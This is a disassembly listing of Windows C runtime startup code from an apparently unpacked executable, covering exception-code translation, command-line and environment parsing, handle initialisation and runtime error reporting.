loc_422D65:				; CODE XREF: ___:00422D6Cj
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_422D65


loc_422D6E:				; CODE XREF: ___:00422D57j
		mov	eax, [eax]
		mov	esi, dword_43D02C
		cmp	eax, 0C000008Eh
		jnz	short loc_422D89
		mov	dword_43D02C, 83h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422D89:				; CODE XREF: ___:00422D7Bj
		cmp	eax, 0C0000090h
		jnz	short loc_422D9C
		mov	dword_43D02C, 81h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422D9C:				; CODE XREF: ___:00422D8Ej
		cmp	eax, 0C0000091h
		jnz	short loc_422DAF
		mov	dword_43D02C, 84h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DAF:				; CODE XREF: ___:00422DA1j
		cmp	eax, 0C0000093h
		jnz	short loc_422DC2
		mov	dword_43D02C, 85h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DC2:				; CODE XREF: ___:00422DB4j
		cmp	eax, 0C000008Dh
		jnz	short loc_422DD5
		mov	dword_43D02C, 82h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DD5:				; CODE XREF: ___:00422DC7j
		cmp	eax, 0C000008Fh
		jnz	short loc_422DE8
		mov	dword_43D02C, 86h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DE8:				; CODE XREF: ___:00422DDAj
		cmp	eax, 0C0000092h
		jnz	short loc_422DF9
		mov	dword_43D02C, 8Ah


loc_422DF9:				; CODE XREF: ___:00422D87j
					; ___:00422D9Aj ...
		push	dword_43D02C
		push	8
		call	ebx
		pop	ecx
		mov	dword_43D02C, esi
		pop	ecx
		pop	esi
		jmp	short loc_422E16
; ---------------------------------------------------------------------------


loc_422E0E:				; CODE XREF: ___:00422D40j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_422E16:				; CODE XREF: ___:00422E0Cj
		mov	eax, [ebp+8]
		mov	dword_4DBA30, eax


loc_422E1E:				; CODE XREF: ___:00422D22j
		or	eax, 0FFFFFFFFh
		jmp	short loc_422E2C
; ---------------------------------------------------------------------------


loc_422E23:				; CODE XREF: ___:00422CFDj
					; ___:00422D08j
		push	dword ptr [ebp+0Ch]
		call	near ptr 2650000h
		nop


loc_422E2C:				; CODE XREF: ___:00422D1Aj
					; ___:00422E21j
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_422E2F	proc near		; CODE XREF: ___:00422CF5p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D028
		cmp	dword_43CFA8, edx
		push	esi
		mov	eax, offset dword_43CFA8
		jz	short loc_422E5C
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43CFA8h[esi*4]


loc_422E51:				; CODE XREF: sub_422E2F+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_422E5C
		cmp	[eax], edx
		jnz	short loc_422E51


loc_422E5C:				; CODE XREF: sub_422E2F+16j
					; sub_422E2F+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43CFA8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_422E6F
		cmp	[eax], edx
		jz	short locret_422E71


loc_422E6F:				; CODE XREF: sub_422E2F+3Aj
		xor	eax, eax

locret_422E71:				; CODE XREF: sub_422E2F+3Ej
		retn
sub_422E2F	endp

; ---------------------------------------------------------------------------
		cmp	dword_4DCFF4, 0
		jnz	short loc_422E80
		call	sub_42026D


loc_422E80:				; CODE XREF: ___:00422E79j
		push	esi
		mov	esi, dword_4DCFEC
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_422EB2


loc_422E8D:				; CODE XREF: ___:00422EA5j
					; ___:00422EA8j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_422EAA
		test	al, al
		jz	short loc_422EAA
		movzx	eax, al
		push	eax
		call	sub_424D36
		test	eax, eax
		pop	ecx
		jz	short loc_422E8D
		inc	esi
		jmp	short loc_422E8D
; ---------------------------------------------------------------------------


loc_422EAA:				; CODE XREF: ___:00422E93j
					; ___:00422E97j
		cmp	byte ptr [esi],	22h
		jnz	short loc_422EBC


loc_422EAF:				; CODE XREF: ___:00422EC4j
		inc	esi
		jmp	short loc_422EBC
; ---------------------------------------------------------------------------


loc_422EB2:				; CODE XREF: ___:00422E8Bj
		cmp	al, 20h
		jbe	short loc_422EBC


loc_422EB6:				; CODE XREF: ___:00422EBAj
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_422EB6


loc_422EBC:				; CODE XREF: ___:00422EADj
					; ___:00422EB0j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_422EC6
		cmp	al, 20h
		jbe	short loc_422EAF


loc_422EC6:				; CODE XREF: ___:00422EC0j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DCFF4, ebx
		push	esi
		push	edi
		jnz	short loc_422EDC
		call	sub_42026D


loc_422EDC:				; CODE XREF: ___:00422ED5j
		mov	esi, dword_4DB9C8
		xor	edi, edi


loc_422EE4:				; CODE XREF: ___:00422EFAj
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_422EFC
		cmp	al, 3Dh
		jz	short loc_422EEF
		inc	edi


loc_422EEF:				; CODE XREF: ___:00422EECj
		push	esi
		call	sub_41AFE0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_422EE4
; ---------------------------------------------------------------------------


loc_422EFC:				; CODE XREF: ___:00422EE8j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4DB980, esi
		jnz	short loc_422F1E
		push	9
		call	sub_41DA29
		pop	ecx


loc_422F1E:				; CODE XREF: ___:00422F14j
		mov	edi, dword_4DB9C8
		cmp	[edi], bl
		jz	short loc_422F61
		push	ebp


loc_422F29:				; CODE XREF: ___:00422F5Ej
		push	edi
		call	sub_41AFE0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_422F5A
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_422F4D
		push	9
		call	sub_41DA29
		pop	ecx


loc_422F4D:				; CODE XREF: ___:00422F43j
		push	edi
		push	dword ptr [esi]
		call	sub_41BEB0
		pop	ecx
		add	esi, 4
		pop	ecx


loc_422F5A:				; CODE XREF: ___:00422F36j
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_422F29
		pop	ebp


loc_422F61:				; CODE XREF: ___:00422F26j
		push	dword_4DB9C8
		call	sub_41B0B1
		pop	ecx
		mov	dword_4DB9C8, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DCFF0, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DCFF4, ebx
		push	esi
		push	edi
		jnz	short loc_422F9A
		call	sub_42026D


loc_422F9A:				; CODE XREF: ___:00422F93j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	near ptr 2690000h
		nop
		mov	eax, dword_4DCFEC
		mov	off_4DB990, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_422FBF
		mov	edi, eax


loc_422FBF:				; CODE XREF: ___:00422FBBj
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_42301C
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_422FEF
		push	8
		call	sub_41DA29
		pop	ecx


loc_422FEF:				; CODE XREF: ___:00422FE5j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_42301C
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4DB978, esi
		pop	edi
		pop	esi
		mov	dword_4DB974, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42301C	proc near		; CODE XREF: ___:00422FCAp
					; ___:00423000p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_423046
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_423046:				; CODE XREF: sub_42301C+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42308F


loc_42304B:				; CODE XREF: sub_42301C+58j
					; sub_42301C+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_42307D
		test	dl, dl
		jz	short loc_42307D
		movzx	edx, dl
		test	byte_4DCEC1[edx], 4
		jz	short loc_423070
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423070
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_423070:				; CODE XREF: sub_42301C+46j
					; sub_42301C+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42304B
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_42304B
; ---------------------------------------------------------------------------


loc_42307D:				; CODE XREF: sub_42301C+36j
					; sub_42301C+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423087
		and	byte ptr [esi],	0
		inc	esi


loc_423087:				; CODE XREF: sub_42301C+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4230D2
		inc	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------


loc_42308F:				; CODE XREF: sub_42301C+2Dj
					; sub_42301C+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42309A
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_42309A:				; CODE XREF: sub_42301C+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DCEC1[ebx], 4
		jz	short loc_4230B5
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4230B4
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_4230B4:				; CODE XREF: sub_42301C+91j
		inc	eax


loc_4230B5:				; CODE XREF: sub_42301C+8Bj
		cmp	dl, 20h
		jz	short loc_4230C3
		test	dl, dl
		jz	short loc_4230C7
		cmp	dl, 9
		jnz	short loc_42308F


loc_4230C3:				; CODE XREF: sub_42301C+9Cj
		test	dl, dl
		jnz	short loc_4230CA


loc_4230C7:				; CODE XREF: sub_42301C+A0j
		dec	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------


loc_4230CA:				; CODE XREF: sub_42301C+A9j
		test	esi, esi
		jz	short loc_4230D2
		and	byte ptr [esi-1], 0


loc_4230D2:				; CODE XREF: sub_42301C+6Ej
					; sub_42301C+71j ...
		and	[ebp+arg_10], 0


loc_4230D6:				; CODE XREF: sub_42301C+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4231BF


loc_4230DF:				; CODE XREF: sub_42301C+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4230EB
		cmp	dl, 9
		jnz	short loc_4230EE


loc_4230EB:				; CODE XREF: sub_42301C+C8j
		inc	eax
		jmp	short loc_4230DF
; ---------------------------------------------------------------------------


loc_4230EE:				; CODE XREF: sub_42301C+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4231BF
		test	edi, edi
		jz	short loc_423103
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_423103:				; CODE XREF: sub_42301C+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_423108:				; CODE XREF: sub_42301C+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_423111:				; CODE XREF: sub_42301C+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_42311A
		inc	eax
		inc	ebx
		jmp	short loc_423111
; ---------------------------------------------------------------------------


loc_42311A:				; CODE XREF: sub_42301C+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42314B
		test	bl, 1
		jnz	short loc_423149
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423138
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423138
		mov	eax, edx
		jmp	short loc_42313B
; ---------------------------------------------------------------------------


loc_423138:				; CODE XREF: sub_42301C+10Dj
					; sub_42301C+116j
		mov	[ebp+arg_0], edi


loc_42313B:				; CODE XREF: sub_42301C+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_423149:				; CODE XREF: sub_42301C+106j
		shr	ebx, 1


loc_42314B:				; CODE XREF: sub_42301C+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423160
		inc	ebx


loc_423153:				; CODE XREF: sub_42301C+142j
		test	esi, esi
		jz	short loc_42315B
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_42315B:				; CODE XREF: sub_42301C+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_423153


loc_423160:				; CODE XREF: sub_42301C+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4231B0
		cmp	[ebp+arg_10], 0
		jnz	short loc_423176
		cmp	dl, 20h
		jz	short loc_4231B0
		cmp	dl, 9
		jz	short loc_4231B0


loc_423176:				; CODE XREF: sub_42301C+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4231AA
		test	esi, esi
		jz	short loc_423199
		movzx	ebx, dl
		test	byte_4DCEC1[ebx], 4
		jz	short loc_423192
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_423192:				; CODE XREF: sub_42301C+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4231A8
; ---------------------------------------------------------------------------


loc_423199:				; CODE XREF: sub_42301C+162j
		movzx	edx, dl
		test	byte_4DCEC1[edx], 4
		jz	short loc_4231A8
		inc	eax
		inc	dword ptr [ecx]


loc_4231A8:				; CODE XREF: sub_42301C+17Bj
					; sub_42301C+187j
		inc	dword ptr [ecx]


loc_4231AA:				; CODE XREF: sub_42301C+15Ej
		inc	eax
		jmp	loc_423108
; ---------------------------------------------------------------------------


loc_4231B0:				; CODE XREF: sub_42301C+148j
					; sub_42301C+153j ...
		test	esi, esi
		jz	short loc_4231B8
		and	byte ptr [esi],	0
		inc	esi


loc_4231B8:				; CODE XREF: sub_42301C+196j
		inc	dword ptr [ecx]
		jmp	loc_4230D6
; ---------------------------------------------------------------------------


loc_4231BF:				; CODE XREF: sub_42301C+BDj
					; sub_42301C+D5j
		test	edi, edi
		jz	short loc_4231C6
		and	dword ptr [edi], 0


loc_4231C6:				; CODE XREF: sub_42301C+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_42301C	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4DBB38
		push	ebx
		push	ebp
		mov	ebp, dword_42703C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_42321E
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_4231FF
		mov	dword_4DBB38, 1
		jmp	short loc_423227
; ---------------------------------------------------------------------------


loc_4231FF:				; CODE XREF: ___:004231F1j
		nop
		call	near ptr 26409AEh
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4232F9
		mov	dword_4DBB38, 2
		jmp	loc_4232AD
; ---------------------------------------------------------------------------


loc_42321E:				; CODE XREF: ___:004231E9j
		cmp	eax, 1
		jnz	loc_4232A8


loc_423227:				; CODE XREF: ___:004231FDj
		cmp	esi, ebx
		jnz	short loc_423237
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_4232F9


loc_423237:				; CODE XREF: ___:00423229j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_42324C


loc_42323E:				; CODE XREF: ___:00423243j
					; ___:0042324Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E


loc_42324C:				; CODE XREF: ___:0042323Cj
		sub	eax, esi
		mov	edi, dword_42717C
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_42329D
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_42329D
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_423299
		push	dword ptr [esp+10h]
		call	sub_41B0B1
		pop	ecx
		mov	[esp+10h], ebx


loc_423299:				; CODE XREF: ___:00423289j
		mov	ebx, [esp+10h]


loc_42329D:				; CODE XREF: ___:00423269j
					; ___:00423278j
		push	esi
		call	near ptr 2640C8Ch
		nop
		mov	eax, ebx
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------


loc_4232A8:				; CODE XREF: ___:00423221j
		cmp	eax, 2
		jnz	short loc_4232F9


loc_4232AD:				; CODE XREF: ___:00423219j
		cmp	edi, ebx
		jnz	short loc_4232BD
		nop
		call	near ptr 26409AEh
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4232F9


loc_4232BD:				; CODE XREF: ___:004232AFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_4232CD


loc_4232C3:				; CODE XREF: ___:004232C6j
					; ___:004232CBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3


loc_4232CD:				; CODE XREF: ___:004232C1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4232E3
		xor	esi, esi
		jmp	short loc_4232EE
; ---------------------------------------------------------------------------


loc_4232E3:				; CODE XREF: ___:004232DDj
		push	ebp
		push	edi
		push	esi
		call	sub_41C310
		add	esp, 0Ch


loc_4232EE:				; CODE XREF: ___:004232E1j
		push	edi
		nop
		call	near ptr 2640CC2h
		mov	eax, esi
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------


loc_4232F9:				; CODE XREF: ___:00423209j
					; ___:00423231j ...
		xor	eax, eax


loc_4232FB:				; CODE XREF: ___:004232A6j
					; ___:004232F7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_423322
		push	1Bh
		call	sub_41DA29
		pop	ecx


loc_423322:				; CODE XREF: ___:00423318j
		mov	dword_4DCCA0, esi
		mov	dword_4DCDA0, 20h
		lea	eax, [esi+100h]


loc_423338:				; CODE XREF: ___:00423354j
		cmp	esi, eax
		jnb	short loc_423356
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DCCA0
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423338
; ---------------------------------------------------------------------------


loc_423356:				; CODE XREF: ___:0042333Aj
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 2890000h
		cmp	word ptr [esp+42h], 0
		jz	loc_423432
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_423432
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_42338C
		mov	esi, eax


loc_42338C:				; CODE XREF: ___:00423388j
		cmp	dword_4DCDA0, esi
		jge	short loc_4233E6
		mov	edi, offset dword_4DCCA4


loc_423399:				; CODE XREF: ___:004233DCj
		push	100h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4233E0
		add	dword_4DCDA0, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_4233B7:				; CODE XREF: ___:004233D1j
		cmp	eax, ecx
		jnb	short loc_4233D3
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_4233B7
; ---------------------------------------------------------------------------


loc_4233D3:				; CODE XREF: ___:004233B9j
		add	edi, 4
		cmp	dword_4DCDA0, esi
		jl	short loc_423399
		jmp	short loc_4233E6
; ---------------------------------------------------------------------------


loc_4233E0:				; CODE XREF: ___:004233A6j
		mov	esi, dword_4DCDA0


loc_4233E6:				; CODE XREF: ___:00423392j
					; ___:004233DEj
		xor	edi, edi
		test	esi, esi
		jle	short loc_423432


loc_4233EC:				; CODE XREF: ___:00423430j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423429
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423429
		test	cl, 8
		jnz	short loc_42340B
		push	eax
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_423429


loc_42340B:				; CODE XREF: ___:004233FEj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DCCA0[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_423429:				; CODE XREF: ___:004233F1j
					; ___:004233F9j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_4233EC


loc_423432:				; CODE XREF: ___:00423367j
					; ___:00423373j ...
		xor	ebx, ebx


loc_423434:				; CODE XREF: ___:00423497j
		mov	eax, dword_4DCCA0
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_42348F
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_42344F
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423459
; ---------------------------------------------------------------------------


loc_42344F:				; CODE XREF: ___:00423448j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_423459:				; CODE XREF: ___:0042344Dj
		push	eax
		nop
		call	near ptr 26406D8h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42347E
		push	edi
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_42347E
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_423484


loc_42347E:				; CODE XREF: ___:00423465j
					; ___:00423470j
		or	byte ptr [esi+4], 40h
		jmp	short loc_423493
; ---------------------------------------------------------------------------


loc_423484:				; CODE XREF: ___:0042347Cj
		cmp	eax, 3
		jnz	short loc_423493
		or	byte ptr [esi+4], 8
		jmp	short loc_423493
; ---------------------------------------------------------------------------


loc_42348F:				; CODE XREF: ___:00423440j
		or	byte ptr [esi+4], 80h


loc_423493:				; CODE XREF: ___:00423482j
					; ___:00423487j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423434
		push	dword_4DCDA0
		nop
		call	near ptr 2640906h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234B8	proc near		; DATA XREF: sub_42205D+Ao
					; sub_42218C+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423558
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_4234EB:				; CODE XREF: sub_4234B8+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423551
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_42353F
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_42353F
		js	short loc_42354A
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41CB74
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41CC4A
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_42353F:				; CODE XREF: sub_4234B8+40j
					; sub_4234B8+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_4234EB
; ---------------------------------------------------------------------------


loc_42354A:				; CODE XREF: sub_4234B8+54j
		mov	eax, 0
		jmp	short loc_42356D
; ---------------------------------------------------------------------------


loc_423551:				; CODE XREF: sub_4234B8+36j
		mov	eax, 1
		jmp	short loc_42356D
; ---------------------------------------------------------------------------


loc_423558:				; CODE XREF: sub_4234B8+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_42356D:				; CODE XREF: sub_4234B8+97j
					; sub_4234B8+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4234B8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423590	proc near		; CODE XREF: sub_41DA29+9p
		mov	eax, dword_4DB9D0
		cmp	eax, 1
		jz	short loc_4235A7
		test	eax, eax
		jnz	short locret_4235C8
		cmp	dword_43A9A4, 1
		jnz	short locret_4235C8


loc_4235A7:				; CODE XREF: sub_423590+8j
		push	0FCh
		call	sub_4235C9
		mov	eax, dword_4DBB3C
		pop	ecx
		test	eax, eax
		jz	short loc_4235BD
		call	eax


loc_4235BD:				; CODE XREF: sub_423590+29j
		push	0FFh
		call	sub_4235C9
		pop	ecx

locret_4235C8:				; CODE XREF: sub_423590+Cj
					; sub_423590+15j
		retn
sub_423590	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4235C9	proc near		; CODE XREF: sub_41DA29+12p
					; sub_423590+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43D038


loc_4235DC:				; CODE XREF: sub_4235C9+20j
		cmp	edx, [eax]
		jz	short loc_4235EB
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43D0C8
		jl	short loc_4235DC


loc_4235EB:				; CODE XREF: sub_4235C9+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43D038[esi]
		jnz	loc_423719
		mov	eax, dword_4DB9D0
		cmp	eax, 1
		jz	loc_4236F3
		test	eax, eax
		jnz	short loc_42361C
		cmp	dword_43A9A4, 1
		jz	loc_4236F3


loc_42361C:				; CODE XREF: sub_4235C9+44j
		cmp	edx, 0FCh
		jz	loc_423719
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2690000h
		test	eax, eax
		jnz	short loc_423653
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_423653:				; CODE XREF: sub_4235C9+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
